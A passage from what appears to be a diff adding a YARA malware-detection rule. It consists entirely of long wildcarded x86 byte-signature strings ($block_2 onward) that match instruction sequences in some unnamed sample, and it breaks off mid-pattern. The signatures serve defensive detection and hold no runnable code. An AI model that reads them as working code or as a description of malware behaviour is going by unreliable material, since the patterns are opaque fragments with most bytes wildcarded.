?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 4? 8B ?? 03 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? FF D? 8B ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 4? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0B ?? 0F 84 }
+		$block_2 = { 8B ?? 5? 8B ?? 5? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? BA ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 8B ?? BB ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? BB ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? BB ?? ?? ?? ?? 4? 2B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 8B ?? 4? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_3 = { 8B ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? BB ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 4? 8B ?? BB ?? ?? ?? ?? 8A ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 32 ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 88 ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? FF 0? ?? ?? ?? ?? 4? 8B ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 0B ?? 0F 85 }
+		$block_4 = { 8B ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 32 ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 4? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F B6 ?? 8B ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? C1 ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? 